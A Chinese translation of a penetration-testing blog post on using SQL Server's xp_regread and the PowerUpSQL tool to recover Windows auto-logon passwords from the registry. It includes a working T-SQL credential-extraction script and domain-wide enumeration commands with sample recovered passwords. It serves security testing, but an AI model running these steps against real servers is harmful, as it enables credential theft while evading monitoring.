專家教你如何在SQL Server中通過PowerUpSQL獲得Windows自動登錄密碼
譯文【51CTO.com快譯】在這篇博客中,我將展示如何使用PowerUpSQL通過SQL Serverd導出Windows自動登錄密碼。我也來談談xp_regread存儲過程中的其他利用方式也可在滲透測試中使用。
xp_regread簡史
從SQL Server 2000后xp_regread擴展存儲過程一直被使用,因為其原始版本允許以公共服務器角色的成員訪問SQL Server服務帳戶權限的幾乎任何東西的。當時,它有一個非常大的影響,因為SQL Server以LocalSystem權限運行是常見的(譯者注:很容易被提權)。自從SQL Server 2000 SP4發布之后,由于添加了一些訪問控制,這有助于防止低權限的登錄訪問敏感的注冊表位置,xp_regread的影響已經相當小,現在,未經授權的用戶訪問唯一的注冊表位置都與SQLServer相關。對于您可以訪問這些位置的列表https://support.microsoft.com/en-us/kb/887165
下面是更有趣的訪問路徑中的幾個:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Search HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQLServer HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Messaging Subsystem HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application\SQLServer HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\ExtensionAgents HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SQLServer HKEY_CURRENT_USER\Software\Microsoft\Mail HKEY_CURRENT_USER\Control Panel\International
xp_regread公共角色的實際用途
即使是我們的雙手被捆綁,xp_regread也可以用來獲取不少有用的信息。事實上,作為***權限登錄時,我經常用它來抓取其它地方無法獲取的服務器信息。例如,在PowerUpSQL中的Get-SQLServerInfo功能包括一些這些查詢:
- PS C:\> Get-SQLServerInfo
- ComputerName : SQLServer1
- Instance : SQLServer1
- DomainName : demo.local
- ServiceName : MSSQLSERVER
- ServiceAccount : NT Service\MSSQLSERVER
- AuthenticationMode : Windows and SQL Server Authentication
- Clustered : No
- SQLServerVersionNumber : 12.0.4213.0
- SQLServerMajorVersion : 2014
- SQLServerEdition : Developer Edition (64-bit)
- SQLServerServicePack : SP1
- OSArchitecture : X64
- OsMachineType : WinNT
- OSVersionName : Windows 8.1 Pro
- OsVersionNumber : 6.3
- Currentlogin : demo\user
- IsSysadmin : Yes
- ActiveSessions : 3
在SQL Server SP4中實現的訪問控制限制并不適用于系統管理員。其結果是,任何SQL Server服務賬戶可以在注冊表訪問,一個系統管理員可以通過xp_regread訪問。乍一看,這似乎不是什么大不了的事,但它確實讓我們從注冊表中的敏感數據,而不必使用xp_cmdshell存儲過程,啟用和使用xp_cmdshel會觸發大量的告警。所以xp_regread實際上最終被用于基本的SQL Server開發任務后。
使用xp_regread恢復Windows自動登錄憑據
配置Windows在計算機啟動時自動登錄這是可以實現的,雖然這不是在企業環境中的常見配置,這是我們在零售環境中經常看到的東西。特別是那些支持傳統的POS終端和信息亭使用SQL服務器本地運行。在大多數情況下,當Windows配置為自動登錄,加密的憑據存儲在注冊表項:
HKEY_LOCAL_MACHINE SOFTWARE \Microsoft\Windows NT\CURRENTVERSION \Winlogon
利用這些信息,我們可以編寫使用一個基本的TSQL腳本,通過xp_regread獲取注冊表的自動登錄憑據,而無需使xp_cmdshell啟用。下面就是一個TSQL腳本例子,但由于注冊表路徑不在允許列表上,我們必須作為一個系統管理員運行查詢:
- -------------------------------------------------------------------------
- -- Get Windows Auto Login Credentials from the Registry
- -------------------------------------------------------------------------
- -- Get AutoLogin Default Domain
- DECLARE @AutoLoginDomain SYSNAME
- EXECUTE master.dbo.xp_regread
- @rootkey = N'HKEY_LOCAL_MACHINE',
- @key = N'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',
- @value_name = N'DefaultDomainName',
- @value = @AutoLoginDomain output
- -- Get AutoLogin DefaultUsername
- DECLARE @AutoLoginUser SYSNAME
- EXECUTE master.dbo.xp_regread
- @rootkey = N'HKEY_LOCAL_MACHINE',
- @key = N'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',
- @value_name = N'DefaultUserName',
- @value = @AutoLoginUser output
- -- Get AutoLogin DefaultUsername
- DECLARE @AutoLoginPassword SYSNAME
- EXECUTE master.dbo.xp_regread
- @rootkey = N'HKEY_LOCAL_MACHINE',
- @key = N'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',
- @value_name = N'DefaultPassword',
- @value = @AutoLoginPassword output
- -- Display Results
- SELECT @AutoLoginDomain, @AutoLoginUser, @AutoLoginPassword
我已經創建了一個名為“Get-SQLRecoverPwAutoLogon”的PowerUpSQL函數,所以你可以直接運行它。它將獲取默認的Windows自動登錄信息和曾經設置過的Windows自動登錄信息。然后,它返回相關的域名、用戶名和密碼。
下面是那些感興趣的一個命令示例。如果您對滲透隱蔽的SQL Server目標有興趣,你可以挖掘這個博客(https://blog.netspi.com/blindly-discover-sql-server-instances-powerupsql/):
- PS C:\> $Accessible = Get-SQLInstanceDomain –Verbose | Get-SQLConnectionTestThreaded –Verbose -Threads 15| Where-Object {$_.Status –eq “Accessible”}
- PS C:\> $Accessible | Get-SQLRecoverPwAutoLogon -Verbose
- VERBOSE: SQLServer1.demo.local\Instance1 : Connection Success.
- VERBOSE: SQLServer2.demo.local\Application : Connection Success.
- VERBOSE: SQLServer2.demo.local\Application : This function requires sysadmin privileges. Done.
- VERBOSE: SQLServer3.demo.local\2014 : Connection Success.
- VERBOSE: SQLServer3.demo.local\2014 : This function requires sysadmin privileges. Done.
- ComputerName : SQLServer1
- Instance : SQLServer1\Instance1
- Domain : demo.local
- UserName : KioskAdmin
- Password : test
- ComputerName : SQLServer1
- Instance : SQLServer1\Instance1
- Domain : demo.local
- UserName : kioskuser
- Password : KioskUserPassword!
總結
即使xp_regread擴展存儲過程已部分閹割,仍有許多方式,它可以被證明是有用的滲透測試和紅隊交戰中。希望你能用“sqlserverinfo”、“sqlrecoverpwautologon”函數構建它的能力,更多注冊表的樂趣將陸續提供,在此期間,祝你好運,并負責任!
參考文章:
https://support.microsoft.com/en-us/kb/887165
https://msdn.microsoft.com/en-us/library/aa940179(v=winembedded.5).aspx
http://sqlmag.com/t-sql/using-t-sql-manipulate-registry
原文標題:Get Windows Auto Login Passwords via SQL Server with PowerUpSQL 作者:Scott Sutherland
【51CTO譯稿,合作站點轉載請注明原文譯者和出處為51CTO.com】
免責聲明:本站提供文章僅供安全研究與教學之用,風險自負!